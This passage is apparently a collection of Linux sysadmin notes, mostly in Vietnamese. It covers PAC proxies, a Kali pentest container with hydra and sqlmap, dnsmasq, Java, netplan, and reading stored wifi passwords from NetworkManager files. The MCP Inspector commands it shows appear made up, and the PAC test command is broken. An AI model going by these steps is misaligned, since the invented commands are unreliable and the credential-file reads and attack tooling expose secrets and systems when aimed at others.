    if (isInNet(host, "192.168.1.0", "255.255.255.0") ||
        shExpMatch(host, "*.internal.local")) {
        return "DIRECT";
    }
    return "PROXY proxy.mycorp.com:3128; DIRECT";
}
```

***

#### V. Triển Khai PAC File

**1. Tạo file proxy.pac:**

```
nano /var/www/html/proxy.pac
```

**2. Upload lên web server:**

* VD: <http://intranet.yourcompany.com/proxy.pac>

**3. Cấu hình client:**

* **Windows**: Internet Options > Connections > LAN Settings > Use script: `http://...`
* **macOS**: System Preferences > Network > Proxies > Auto config
* **Linux GNOME**: Settings > Network Proxy > Automatic > Nhập URL

***

#### VI. Gỡ Lỗi và Kiểm Tra PAC File

* **Chrome**: `chrome://net-internals/#proxy`
* **Firefox**: `about:networking#logging`
* **Test nhanh**:

```
curl --proxy "$(cat proxy.pac | grep return)" http://example.com
```

***

#### VII. Kết Luận

PAC proxy mang lại khả năng linh hoạt cao cho việc điều hướng truy cập Internet trong một hệ thống doanh nghiệp. Việc tự động định tuyến giợi quyết nhiều vấn đề về an ninh, tối ưu hóa lưu lượng và tốc độ truy cập.

***

**Gợi Ý**: Hãy thiết kế PAC file theo chiến lược riêng phù hợp với các mức độ bảo mật và logic kinh doanh của tổ chức.

(Nếu bạn muốn viết một PAC file cá nhân hóa cho mạng của bạn, hãy cung cấp các dạng IP/domain/proxy bạn dự định để mình viết giùm!)


# Sử dụng Podman tạo base images Pentest

## 🚀 Tự Build Kali Linux Base Image để Pentest với Podman

### 🧠 Tại sao nên dùng Kali với Podman?

Trong thời đại container hóa, việc sử dụng Kali Linux – hệ điều hành chuyên dụng cho kiểm thử bảo mật – dưới dạng container là một lựa chọn cực kỳ linh hoạt:

* 🧱 **Không ảnh hưởng hệ điều hành chính**
* 🔄 **Dễ rollback, versioning**
* 🔐 **Chạy rootless với Podman để tăng bảo mật**
* 📦 **Có thể đóng gói và chia sẻ dễ dàng**

***

### ⚙️ Yêu cầu ban đầu

* Hệ điều hành: Ubuntu 20.04+ hoặc Fedora, Arch, etc.
* Đã cài **Podman**:

```bash
sudo apt update && sudo apt install -y podman
```

* Kiểm tra version:

```bash
podman --version
```

***

### 🏗️ Bước 1: Tạo Dockerfile Kali cơ bản

Tạo thư mục chứa project:

```bash
mkdir -p ~/podman-kali
cd ~/podman-kali
```

Tạo file `Dockerfile`:

```dockerfile
FROM docker.io/kalilinux/kali-rolling

LABEL maintainer="you@example.com"
LABEL purpose="Kali base image for pentesting with Podman"

RUN apt-get update && apt-get upgrade -y && \
    apt-get install -y --no-install-recommends \
    nmap hydra sqlmap nikto net-tools iputils-ping \
    dnsutils curl wget git python3 python3-pip \
    && apt-get clean && rm -rf /var/lib/apt/lists/*

CMD ["/bin/bash"]
```

> ⚠️ Lưu ý: sử dụng `docker.io/kalilinux/...` thay vì chỉ `kalilinux/...` để tránh lỗi “no unqualified-search registries”.

***

### 🔨 Bước 2: Build Image

```bash
podman build -t kali-pentest .
```

> Sau khi hoàn tất, bạn có thể kiểm tra image bằng `podman images`.

***

### 🚀 Bước 3: Chạy Container Kali

Chạy container tương tác:

```bash
podman run -it --rm --name kali kali-pentest
```

Mount thư mục chia sẻ với host:

```bash
podman run -it --rm -v $HOME/shared:/data kali-pentest
```

Chạy với quyền cao để sniff, ping, dùng tools mạng nâng cao:

```bash
sudo podman run --net=host --privileged -it kali-pentest
```

> ⚠️ Chỉ sử dụng `--privileged` khi thực sự cần (ví dụ dùng Wireshark hoặc MITM).

***

### 🔁 Bước 4: Tùy chọn nâng cao

#### 🧩 Gắn thêm nhiều công cụ

Bạn có thể sửa lại Dockerfile để thêm:

```bash
john wfuzz burpsuite zmap amass wpscan
```

Hoặc build riêng từng layer tool nếu dùng hệ thống CI.

#### 📤 Export hoặc đẩy lên registry

```bash
podman save -o kali-pentest.tar kali-pentest
# Hoặc push lên registry riêng
podman tag kali-pentest registry.local/kali
podman push registry.local/kali
```


# Tạo YUM Local Repository Trong Container CentOS 7 Sử Dụng Podman

## 🐧 Hướng Dẫn&#x20;

Trong quá trình làm việc với môi trường CentOS, việc sử dụng một **YUM local repository** sẽ giúp bạn:

* Cài đặt gói nhanh chóng không phụ thuộc Internet
* Tùy biến repo theo yêu cầu
* Kiểm soát gói phần mềm trong môi trường kiểm thử hoặc offline

Bài viết này hướng dẫn bạn từng bước để tạo một **local YUM repo** bên trong container CentOS 7, sử dụng công cụ **Podman** – một lựa chọn thay thế cho Docker mà không cần quyền root.

***

### ✅ Bước 1: Pull Image CentOS 7

```bash
podman pull centos:7
```

***

### ✅ Bước 2: Chạy Container CentOS 7

Chạy container với quyền tương tác và đặt tên dễ nhớ:

```bash
podman run -it --name centos7-yumrepo centos:7 /bin/bash
```

***

### ✅ Bước 3: Cài Các Gói Cần Thiết

Trong container, cài đặt các công cụ hỗ trợ tạo repo:

```bash
yum install -y yum-utils createrepo httpd
```

***

### ✅ Bước 4: Tạo Thư Mục Localrepo và Copy RPM Vào

Tạo thư mục repo:

```bash
mkdir -p /var/www/html/localrepo
```

Sau đó, từ **host**, bạn có thể **copy các file .rpm** vào container:

```bash
podman cp ./rpms/. centos7-yumrepo:/var/www/html/localrepo/
```

**Hoặc**, nếu bạn đã có thư mục `./rpms` trên máy, mount trực tiếp vào container:

```bash
podman run -it --name centos7-yumrepo \
  -v $(pwd)/rpms:/var/www/html/localrepo \
  centos:7 /bin/bash
```

***

### ✅ Bước 5: Tạo Metadata Cho Repo

Trong container:

```bash
createrepo /var/www/html/localrepo/
```

***

### ✅ Bước 6: Tạo File Repo YUM

Tạo file `/etc/yum.repos.d/local.repo` với nội dung:

```ini
[localrepo]
name=Local YUM Repo
baseurl=file:///var/www/html/localrepo/
enabled=1
gpgcheck=0
```

> Nếu bạn muốn container chạy HTTP để các máy khác cũng có thể truy cập, dùng:

```ini
baseurl=http://<IP>:80/localrepo/
```

***

### ✅ Bước 7: Khởi Chạy HTTP Server (Tùy chọn)

Do Podman không chạy systemd mặc định, bạn có thể bật HTTP server tạm thời:

```bash
cd /var/www/html
python3 -m http.server 80
```

Hoặc:

```bash
httpd -DFOREGROUND
```

***

### ✅ Bước 8: Kiểm Tra Hoạt Động

Làm sạch cache và kiểm tra repo:

```bash
yum clean all
yum repolist
```

***

### ✅ Bước 9: Lưu Container Thành Image Mới

Sau khi cấu hình xong, commit lại container thành image để dùng lại về sau:

```bash
podman commit centos7-yumrepo centos7-with-localrepo
```

***

### 📌 Kết luận

Việc sử dụng Podman để dựng môi trường CentOS 7 có local YUM repo rất phù hợp với các kịch bản:

* Kiểm thử gói nội bộ
* Thiết lập lab offline
* Làm việc trong môi trường tách biệt


# Cài Đặt Và Cấu Hình dnsmasq Trên Ubuntu

### 🧩 dnsmasq Là Gì?

`dnsmasq` là một dịch vụ DNS và DHCP cực nhẹ, được thiết kế cho môi trường nhỏ như mạng gia đình, văn phòng, lab hoặc server cục bộ. Nó có thể:

* Tăng tốc độ truy vấn DNS nhờ cache
* Làm DNS trung gian chuyển tiếp ra ngoài (8.8.8.8, 1.1.1.1,…)
* Trỏ tên miền nội bộ tới IP tuỳ ý (ví dụ: `dev.local → 127.0.0.1`)
* (Tuỳ chọn) Làm máy chủ DHCP cấp IP nội bộ

***

### ⚙️ Bước 1: Cài Đặt dnsmasq

```bash
sudo apt update
sudo apt install dnsmasq -y
```

Kiểm tra phiên bản:

```bash
dnsmasq --version
```

***

### 🛠️ Bước 2: Cấu Hình dnsmasq

Mở file cấu hình:

```bash
sudo nano /etc/dnsmasq.conf
```

Thêm các dòng sau (hoặc bỏ comment nếu đã có):

```conf
# Chuyển tiếp DNS ra ngoài (Google DNS và Cloudflare)
server=8.8.8.8
server=1.1.1.1

# Tăng tốc truy vấn DNS nhờ cache
cache-size=1000

# Trỏ tên miền nội bộ (ví dụ: test.local → 127.0.0.1)
address=/test.local/127.0.0.1

# Ghi log các truy vấn DNS
log-queries
log-facility=/var/log/dnsmasq.log
```

Lưu lại với `Ctrl + O`, Enter, và `Ctrl + X`.

***

### ❌ Bước 3: Khắc Phục Lỗi Port 53 (Nếu Có)

Nếu gặp lỗi như:

```
failed to create listening socket for port 53: Address already in use
```

Điều này có nghĩa **cổng 53 đã bị dịch vụ khác chiếm**, thường là `systemd-resolved`.

#### 👉 Giải pháp: Tắt systemd-resolved

```bash
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
```

Xoá link `/etc/resolv.conf` và trỏ DNS về `dnsmasq`:

```bash
sudo rm /etc/resolv.conf
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
sudo chattr +i /etc/resolv.conf
```

> Nếu không muốn tắt `systemd-resolved`, bạn có thể chỉnh `/etc/systemd/resolved.conf` và đặt `DNSStubListener=no`.

***

### 🔁 Bước 4: Khởi Động Lại dnsmasq

```bash
sudo systemctl restart dnsmasq
sudo systemctl enable dnsmasq
```

Kiểm tra trạng thái:

```bash
sudo systemctl status dnsmasq
```

***

### 🔍 Bước 5: Kiểm Tra Hoạt Động

```bash
dig google.com @127.0.0.1
```

Kiểm tra log:

```bash
tail -f /var/log/dnsmasq.log
```

***

### 💡 Tùy Chọn: Chặn Quảng Cáo hoặc DNS Nội Bộ

Bạn có thể trỏ các tên miền quảng cáo về `0.0.0.0`:

```conf
address=/ads.example.com/0.0.0.0
address=/doubleclick.net/0.0.0.0
```


# Gỡ Lỗi Giao Thức MCP với MCP Inspector v0.16.2

Khám phá và Gỡ Lỗi Giao Thức MCP với MCP Inspector v0.16.2 (và cả @latest!)

Phiên bản 0.16.2 của MCP Inspector mang đến nhiều cải tiến, nhưng quan trọng hơn cả là cách chúng ta tiếp cận và sử dụng nó trong thế giới hiện đại của Node.js. Cùng lặn sâu vào nhé!

#### MCP Inspector là gì mà chúng ta phải quan tâm?

Hãy tưởng tượng bạn đang xây dựng một hệ thống phân tán phức tạp, nơi các thành phần khác nhau cần trao đổi "ngữ cảnh" (context) để hiểu nhau và hoạt động đồng bộ. Đó chính là lúc MCP tỏa sáng. Nhưng khi mọi thứ không như ý, làm sao bạn biết thông điệp nào đang đi sai đường, hoặc dữ liệu nào bị lỗi?

Đó chính là lúc MCP Inspector bước vào sân khấu! Nó là "kính hiển vi" giúp bạn:

* Quan sát trực quan: Xem các thông điệp MCP được cấu trúc và di chuyển như thế nào.
* Phân tích chi tiết: Đọc nội dung, giá trị của từng trường dữ liệu trong thông điệp.
* Gỡ lỗi hiệu quả: Nhanh chóng xác định các vấn đề về định dạng, thiếu sót dữ liệu hoặc sai lệch luồng thông tin.

Nói tóm lại, nếu bạn đang "vật lộn" với MCP, MCP Inspector chính là người bạn đồng hành không thể thiếu!

***

#### Cài đặt MCP Inspector: Hiện đại và "sạch sẽ" với Node.js và npx

Trước đây, có thể bạn sẽ nghĩ đến `pip` của Python, nhưng với MCP Inspector, chúng ta đang ở trong thế giới Node.js các bạn ạ! Điều này mang lại sự tiện lợi và đảm bảo bạn luôn làm việc với phiên bản mới nhất.

Bước 1: Đảm bảo bạn có Node.js và npm

Đây là yêu cầu tiên quyết! Nếu máy tính của bạn chưa có Node.js và npm (Node Package Manager), hãy ghé thăm trang chủ [Node.js](https://nodejs.org/) và tải xuống phiên bản LTS (Long Term Support) phù hợp với hệ điều hành của bạn. Quá trình cài đặt rất đơn giản và npm sẽ được cài đặt kèm theo.

Sau khi cài đặt xong, hãy mở Terminal (macOS/Linux) hoặc Command Prompt/PowerShell (Windows) và kiểm tra:

Bash

```
node -v
npm -v
npx -v
```

Nếu bạn thấy các số phiên bản hiện ra, "bingo"! Chúng ta đã sẵn sàng.

Bước 2: Sử dụng `npx` để "triệu hồi" MCP Inspector!

Đây là điểm mấu chốt! Thay vì cài đặt toàn cục (và có thể gây "rác" hệ thống nếu bạn ít dùng), chúng ta sẽ dùng lệnh `npx`. `npx` là một công cụ thần kỳ đi kèm với npm, cho phép bạn chạy các gói Node.js mà không cần cài đặt chúng vĩnh viễn. Nó sẽ tải gói về, chạy nó, và sau đó "dọn dẹp" đi. Cực kỳ tiện lợi!

Để chạy MCP Inspector v0.16.2 cụ thể:

Bash

```
npx @modelcontextprotocol/inspector@0.16.2 [các_tùy_chọn_của_bạn]
```

Nhưng tôi khuyên bạn nên luôn dùng phiên bản mới nhất để tận hưởng các tính năng và bản vá lỗi mới nhất:

Bash

```
npx @modelcontextprotocol/inspector@latest [các_tùy_chọn_của_bạn]
```

***

#### Sử dụng MCP Inspector: Bắt đầu khám phá!

Giờ thì công cụ đã sẵn sàng, hãy xem chúng ta có thể làm gì với nó nhé!

1\. Xem các lệnh và tùy chọn trợ giúp:

Đây luôn là bước đầu tiên để làm quen với bất kỳ công cụ dòng lệnh nào.

Bash

```
npx @modelcontextprotocol/inspector@latest --help
```

Lệnh này sẽ hiển thị một danh sách đầy đủ các lệnh và cờ mà bạn có thể sử dụng. Nó giống như bản đồ kho báu vậy!

2\. Phân tích một tệp tin chứa dữ liệu MCP:

Giả sử bạn có một tệp `mcp_data.json` chứa các thông điệp MCP ở định dạng JSON. Bạn có thể dễ dàng phân tích nó:

Bash

```
npx @modelcontextprotocol/inspector@latest analyze mcp_data.json
```

Kết quả sẽ được hiển thị ngay trên Terminal của bạn, cho bạn cái nhìn chi tiết về từng thông điệp.

3\. Lọc và xuất kết quả: Sức mạnh của sự tinh chỉnh!

Khi dữ liệu quá nhiều, việc lọc là cực kỳ quan trọng. Bạn muốn chỉ xem các thông điệp loại `ContextUpdate` và lưu kết quả vào một tệp mới? Không vấn đề gì!

Bash

```
npx @modelcontextprotocol/inspector@latest analyze mcp_data.json --filter "message_type == 'ContextUpdate'" --output filtered_updates.json
```

Thật tuyệt vời phải không? Bạn có thể tinh chỉnh bộ lọc của mình dựa trên bất kỳ trường nào trong thông điệp MCP. Hãy thử nghiệm với các giá trị khác nhau để tìm ra những gì bạn cần.

Một vài tùy chọn hữu ích khác:

* `-v` hoặc `--verbose`: Hiển thị thông tin chi tiết hơn, rất hữu ích khi bạn muốn "mổ xẻ" sâu.
* `-d` hoặc `--decode`: Cố gắng giải mã các trường dữ liệu nếu chúng ở định dạng nhị phân hoặc đã được mã hóa (tùy thuộc vào khả năng của Inspector).

MCP Inspector v0.16.2 (và cả phiên bản `@latest` được chạy qua `npx`) là một công cụ mạnh mẽ, giúp bạn "nhìn xuyên" vào giao thức MCP. Từ việc gỡ lỗi các vấn đề khó chịu đến việc hiểu rõ hơn cách hệ thống của bạn hoạt động, nó sẽ trở thành một phần không thể thiếu trong bộ công cụ của bạn.

***


# For SysAdmin


# Scripts


# Bash Script Gen SSH key

```
#!/bin/bash

if [[ $1 && $2 ]]
then
    ssh-keygen -t rsa -f ./$1 -b 2048  -C "$2"
else
    echo 'Usage: ./keygen.sh filename-for-key comment-for-key';
fi
```


# Health check System

#### 1.  Create script ( **check\_load.sh )**

```
#!/bin/bash
trig=5.00

#Get current load on the server
load=`cat /proc/loadavg | awk '{print $1}'`

#Check both
if [[ $load > $trig ]];
then
echo -e "\n\nYour server load is High. Check Immediatly\n\nServer load : $load " | mail -s "High Server Load [$load]" user@example.com
fi
```

#### 2. Create cronjob

```
*/2   *   *   *   *  /bin/bash   /path/to/the/folder/check_load.sh
```


# Install Oracle Java JDK 18 in Ubuntu 20.04

#### **Install JDK 18 in Ubuntu:**

**1. Download Java package**

Firstly, go to oracle website and select download the .deb package:

[Download Java](https://www.oracle.com/java/technologies/downloads/)

It’s a 64-bit .deb package for modern PC and laptops.

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/download-java-600x202.webp" alt=""><figcaption></figcaption></figure>

**2. Install the .deb package**

Next, press Ctrl+Alt+T on keyboard to open terminal. When it opens, run the command below to install the package you just downloaded:

```txt
cd ~/Downloads && sudo apt install ./jdk-18\_linux-x64\_bin.deb
```

*Here you may also double-click the .deb in file manager to install it.*

**3. Set JDK 18 as default:**

It installs the language files into ‘`/usr/lib/jvm/jdk-18/`‘ directory. To set it as default, do the following 2 steps one by one.

a.) Create symbolic links for the executable files:

```txt
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-18/bin/java 1
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-18/bin/javac 1
sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk-18/bin/jar 1
```

Similarly, add links for other executable files (e.g., `jarsigner`, `jlink`, `javadoc`) as need.

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/install-java18-default-600x410.webp" alt=""><figcaption></figcaption></figure>

b.) Next, run the commands below one by one, and type number to select Java JDK 18 as default.

```txt
sudo update-alternatives --config java
sudo update-alternatives --config javac
sudo update-alternatives --config jar
```

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/config-javadefault-600x448.webp" alt=""><figcaption></figcaption></figure>

When done, verify by running command in terminal:

```txt
java -versionjavac -version
```

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/verify-java18-600x191.webp" alt=""><figcaption></figcaption></figure>

**4. Set JAVA\_HOME:**

Option 1.) Set JAVA\_HOME for current console, that will work until you close it:

```txt
export JAVA\_HOME=/usr/lib/jvm/jdk-18setenv JAVA\_HOME=/usr/lib/jvm/jdk-18
```

Option 2.) To make it permanent, create and edit config file via command:

```txt
sudo gedit /etc/profile.d/jdk.sh
```

then add following lines:

> export J2SDKDIR=/usr/lib/jvm/jdk-18\
> export J2REDIR=/usr/lib/jvm/jdk-18\
> export PATH=$PATH:/usr/lib/jvm/jdk-18/bin:/usr/lib/jvm/jdk-18/db/bin\
> export JAVA\_HOME=/usr/lib/jvm/jdk-18\
> export DERBY\_HOME=/usr/lib/jvm/jdk-18/db

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/jdk-sh-600x206.webp" alt=""><figcaption></figcaption></figure>

And create anther one for C shell:

```txt
sudo gedit /etc/profile.d/jdk.csh
```

add following lines and save it:

> setenv J2SDKDIR /usr/lib/jvm/jdk-18\
> setenv J2REDIR /usr/lib/jvm/jdk-18\
> setenv PATH ${PATH}:/usr/lib/jvm/jdk-18/bin:/usr/lib/jvm/jdk-18/db/bin\
> setenv JAVA\_HOME /usr/lib/jvm/jdk-18\
> setenv DERBY\_HOME /usr/lib/jvm/jdk-18/db

<figure><img src="https://ubuntuhandbook.org/wp-content/uploads/2022/03/jdk-csh-600x223.webp" alt=""><figcaption></figcaption></figure>

Finally, change the permissions via command, and it should take place at the next boot.

```txt
sudo chmod +x /etc/profile.d/jdk.csh /etc/profile.d/jdk.sh
```


# Run script on startup on Ubuntu 22.04

First, create a Systemd service file as in an example below. We will store this file as `/etc/systemd/system/disk-space-check.service`.

```plaintext
[Unit]
After=network.target

[Service]
ExecStart=/usr/local/bin/disk-space-check.sh

[Install]
WantedBy=default.target
```

**After**: Instructs systemd on when the script should be run. In our case the script will run after network connection. Other example could be mysql.target etc.\
**ExecStart**: This field provides a full path to the actual script to be executed on startup\
**WantedBy**: Into what boot target the systemd unit should be installed

Create a script to be executed on Ubuntu system startup. As specified in the above Step 1, the path and the name of the new script in our example will be `/usr/local/bin/disk-space-check.sh`.

The below is an example of such script:

```plaintext
#!/bin/bash
date > /root/disk_space_report.txt
du -sh /home/ >> /root/disk_space_report.txt
```

Set appropriate permissions for both, the Systemd service unit and script:

```plaintext
$ sudo chmod 744 /usr/local/bin/disk-space-check.sh 
$ sudo chmod 664 /etc/systemd/system/disk-space-check.service
```

Next, enable the service unit:

```txt
$ sudo systemctl daemon-reload 
$ sudo systemctl enable disk-space-check.service
```


# Remove Snap from Ubuntu

### Remove snapd from Ubuntu

1. Launch terminal.
2. List installed *snap* packages.

```plaintext
$ snap list
Name               Version                     Rev   Tracking         Publisher   Notes
chromium           85.0.4183.102               1298  latest/stable    canonical✓  -
core18             20200724                    1885  latest/stable    canonical✓  base
gnome-3-28-1804    3.28.0-17-gde3d74c.de3d74c  128   latest/stable    canonical✓  -
gnome-3-34-1804    0+git.3009fc7               36    latest/stable/…  canonical✓  -
gtk-common-themes  0.1-36-gc75f853             1506  latest/stable/…  canonical✓  -
snap-store         3.36.0-80-g208fd61          467   latest/stable/…  canonical✓  -
snapd              2.45.3.1                    8790  latest/stable    canonical✓  snapd
```

3\. Remove installed *snap* packages (optional).

```plaintext
$ sudo snap remove chromium snap-store 
[sudo] password for user: 
2020-09-11T17:31:08+08:00 INFO Waiting for conflicting change in progress...
chromium removed
snap-store removed
```

4\. Stop *snapd* service.

```plaintext
$ sudo systemctl stop snapd
Warning: Stopping snapd.service, but it can still be activated by:
  snapd.socket
```

5\. Remove *snapd* packages.

```plaintext
$ sudo apt remove --purge --assume-yes snapd gnome-software-plugin-snap
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Package 'gnome-software-plugin-snap' is not installed, so not removed
The following packages will be REMOVED:
  snapd*
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 120 MB disk space will be freed.
(Reading database ... 185414 files and directories currently installed.)
Removing snapd (2.45.1+20.04.2)
```

6\. Remove user *snap* directory.

```plaintext
$ rm -rf ~/snap/
```

7\. Remove cache directory for *snapd*.

```plaintext
$ sudo rm -rf /var/cache/snapd/ 
```

> Guide compatibility:

| Operating System                 |
| -------------------------------- |
| Ubuntu 16.04 LTS (Xenial Xerus)  |
| Ubuntu 16.10 (Yakkety Yak)       |
| Ubuntu 17.04 (Zesty Zapus)       |
| Ubuntu 17.10 (Artful Aardvark)   |
| Ubuntu 18.04 LTS (Bionic Beaver) |
| Ubuntu 18.10 (Cosmic Cuttlefish) |
| Ubuntu 19.04 (Disco Dingo)       |


# Config Network on Ubuntu Server

### NetPlan Files

Network interfaces in Ubuntu 20.04 are configured in NetPlan YAML files, which are stored under `/etc/netplan`. The default file networking interfaces for a new Ubuntu 20.04 install is `/etc/netplan/00-installer-config.yaml`.

To edit the default netplan file, use the following command.

```txt
    sudo vi /etc/netplan/00-installer-config.yaml
```

Alternatively, a simpler text editor by the name of nano can be used instead of vim.

```txt
    sudo nano /etc/netplan/00-install-config.yaml
```

### How to Set Static IP Address

The following is an example Netplan file with a network interface that has a static IP address. The interface's name is en01 and it has been assigned static IP addresses `192.168.1.25/24` for IPv4, and `2001:1::1/64` for IPv6.

As both IPv4 and IPv6 have been assigned static IP addresses, each has a gateway set too.

DNS Name servers are also defined in this file. We'll cover DNS a little further down in this tutorial.

```txt
network:
  version: 2
  renderer: networkd
  ethernets:
    en01:
      addresses:
      - 192.168.1.25/24
      - "2001:1::1/64"
      gateway4: 192.168.1.1
      gateway6: "2001:1::2"
      nameservers:
        addresses:
        - 8.8.8.8
        - 8.8.4.4
```

To apply changes to netplan you will need to reload your Netplan network configurations.

```txt
sudo netplan apply
```

**The following example shows how to enable DHCP for both IPv4 and IPv6. To enabled just one, you would remove the network IP version not needed.**

```txt
network:
  version: 2
  renderer: networkd
  ethernets:
    en01:
      dhcp4: true
      dhcp6: true
```

```txt
sudo netplan apply
```

**How to Set DNS**

The following is an example of a network interface id0 with nameservers configured.

```txt
ethernets:
  en01:
    [...]
    nameservers:
      search: [lab, home]
      addresses: [8.8.8.8, "FEDC::1"]
```

* **search** is a list of search domains, which are used when a non-fully qualified hostname is given. For example, if you were to ping server1 rather than server1.lab.
* **addresses** is a list of IPv4 or IPv6 ip addresses for the DNS name servers. IPv6 must be quoted.

**How to set WiFi Authentication**

```txt
ethernets:
  id0:
    [...]
    access-points:
      mode: infrastructure
      bssid: mywifi
      band: 5GHz
      channel: 5
    auth:
      key-management: none | psk | eap 
      password: my-password-string
```

* **mode** set the mode type for your wifi network interface. For connecting to access points the value should be set to infrastructure, which is the default.
* **bassid** is the name of your wifi connection, as configured on your access point.
* **band** is used to set the wireless band. It accepts two values: 5GHz and 2.4GHz. If left unset, the wifi endpoint and your network device will automatically establish the best band. By setting this value you will \* **force** the connection to use a specific band.
* **channel** is used to set your wifi channel, and only takes affect if the band property is set.
* **WPA** and EAP connection modes accept the following configurations.
* **key-management** sets how the supported key management mode.
* **none** to disable key management
* **psk** for WPA with pre-shared key, common for home wifi.
* **eap** for WPA with EAP, which is common for enterprise wifi networks.
* **password** sets the pre-shared key or password for your wifi network, when the mode is set to either psk or eap.


# View Wifi Network Connection

View wifi network connection on Ubuntu

```txt
cd /etc/NetworkManager/system-connections
```

In this folder, you can see any list file with name of wifi network Example read one file

```txt
cat /etc/NetworkManager/system-connections/LinksysSMB24G.nmconnection
```

```txt
[ipv6]
method=auto
[connection]
id=SSID #(e.g.EDUroam)
uuid=9e123fbc-0123-46e3-97b5-f3214e123456 #unique uuid will be created upon creation of this profile
type=802-11-wireless
[802-11-wireless-security]
key-mgmt=wpa-eap
auth-alg=open
[802-11-wireless]
ssid=SSID
mode=infrastructure
mac-address=0A:12:3C:DA:C1:A5
security=802-11-wireless-security
[802-1x]
eap=peap;
identity=studentid123123
phase2-auth=mschapv2
password=mypass123123
[ipv4]
method=auto
```


# Add user can access network interfaces

<pre class="language-txt"><code class="lang-txt"><strong>sudo gpasswd -a yourusername netdev
</strong></code></pre>

netdev : Group have permission to network, you can check other group with this command below

```txt
cat /etc/group
```

Or edit /etc/sudoers with your favorite editor like vim. Add this line under # User privilege specification:

```txt
yourusername ALL=(root) NOPASSWD :/sbin/ifconfig *
```


# USB drive with QEMU

**Find the Bus and Device ID:**

```txt
$ lsusb
...
Bus 001 Device 008: ID 0781:5151 SanDisk Corp. Cruzer Micro Flash Drive
...
```

**Boot with QEMU:**

```txt
sudo qemu-system-x86_64 -m 512 -enable-kvm -usb -device usb-host,hostbus=1,hostaddr=8
```

Remember : Correct with hostbus and hostaddr


# INSTALL AND MANAGE MULTIPLE JAVA JDK AND JRE VERSIONS ON UBUNTU

**INSTALL AND MANAGE MULTIPLE JAVA JDK AND JRE VERSIONS ON UBUNTU**

**Step 1. Check Java JDK version**

Open a terminal and check java JDK version:

```plaintext
$ javac -version
```

If you do not have a Java JDK installed the terminal response will look like:

```plaintext
Command 'javac' not found, but can be installed with:

sudo apt install default-jdk              # version 2:1.11-72, or
sudo apt install openjdk-11-jdk-headless  # version 11.0.8+10-0ubuntu1~20.04
sudo apt install openjdk-13-jdk-headless  # version 13.0.4+8-1~20.04
sudo apt install openjdk-14-jdk-headless  # version 14.0.2+12-1~20.04
sudo apt install openjdk-8-jdk-headless   # version 8u265-b01-0ubuntu2~20.04
sudo apt install ecj                      # version 3.16.0-1
```

As you can see, the terminal response displays the commands to install various headless JDK versions.

**Step 2. Install Java JRE/JDKs**

**1. Install Java 11 JRE/JDK**

At the time of writing, Java 11 is the latest long-term supported (LTS) version of Java. It is the default Java development and runtime version.

Installing a JDK package will also install the corresponding JRE.

Install Java 11 JDK:

```plaintext
$ sudo apt install default-jdk
```

Check JRE version:

```plaintext
$ java -version
```

The response will look like:

```plaintext
openjdk version "11.0.9" 2020-10-20
OpenJDK Runtime Environment (build 11.0.9+11-Ubuntu-0ubuntu1.20.04)
OpenJDK 64-Bit Server VM (build 11.0.9+11-Ubuntu-0ubuntu1.20.04, mixed mode, sharing)
```

Check JDK version:

```plaintext
$ javac -version
```

The response will look like:

```plaintext
javac 11.0.9
```

**2. Install Java 8 JRE/JDK**

Install Java 8 JDK:

```plaintext
$ sudo apt install openjdk-8-jdk
```

If you check current JDK and JRE versions it will still display Java 11.

**3. Install Java 13 JRE/JDK**

Install Java 13 JDK:

```plaintext
$ sudo apt install openjdk-13-jdk
```

Check current JRE version:

```plaintext
$ java -version
```

The response will look like:

```plaintext
openjdk version "13.0.4" 2020-07-14
OpenJDK Runtime Environment (build 13.0.4+8-Ubuntu-120.04)
OpenJDK 64-Bit Server VM (build 13.0.4+8-Ubuntu-120.04, mixed mode)
```

Check current JDK version:

```plaintext
$ javac -version
```

The response will look like:

```plaintext
javac 13.0.4
```

As you can see the current JRE and JDK are version 13.

**4. Install Java 14 JRE/JDK**

Install Java 14 JDK:

```plaintext
$ sudo apt install openjdk-14-jdk
```

Check current JRE:

```plaintext
$ java -version
```

The response will look like:

```plaintext
openjdk version "14.0.2" 2020-07-14
OpenJDK Runtime Environment (build 14.0.2+12-Ubuntu-120.04)
OpenJDK 64-Bit Server VM (build 14.0.2+12-Ubuntu-120.04, mixed mode, sharing)
```

Check current JDK:

```plaintext
$ javac -version
```

The response will look like:

```plaintext
javac 14.0.2
```

Again, we can see the current JRE and JDK are version 14.

**Step 2. Manage Installed Java JRE/JDKs**

Now that we have installed multiple Java JRE/JDK versions we can switch between them.

**1. Switch JRE version**

Check installed JREs:

```plaintext
$ sudo update-alternatives --config java
```

The response will look like:

```plaintext
There are 4 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                            Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-14-openjdk-amd64/bin/java      1411      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java      1111      manual mode
  2            /usr/lib/jvm/java-13-openjdk-amd64/bin/java      1311      manual mode
  3            /usr/lib/jvm/java-14-openjdk-amd64/bin/java      1411      manual mode
  4            /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java   1081      manual mode

Press <enter> to keep the current choice[*], or type selection number: 
```

Now you can switch to another JRE or keep the current version.

**2. Switch JDK version**

Check installed JDKs:

```plaintext
$ sudo update-alternatives --config javac 
```

The response will look like:

```plaintext
There are 4 choices for the alternative javac (providing /usr/bin/javac).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-14-openjdk-amd64/bin/javac   1411      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      manual mode
  2            /usr/lib/jvm/java-13-openjdk-amd64/bin/javac   1311      manual mode
  3            /usr/lib/jvm/java-14-openjdk-amd64/bin/javac   1411      manual mode
  4            /usr/lib/jvm/java-8-openjdk-amd64/bin/javac    1081      manual mode

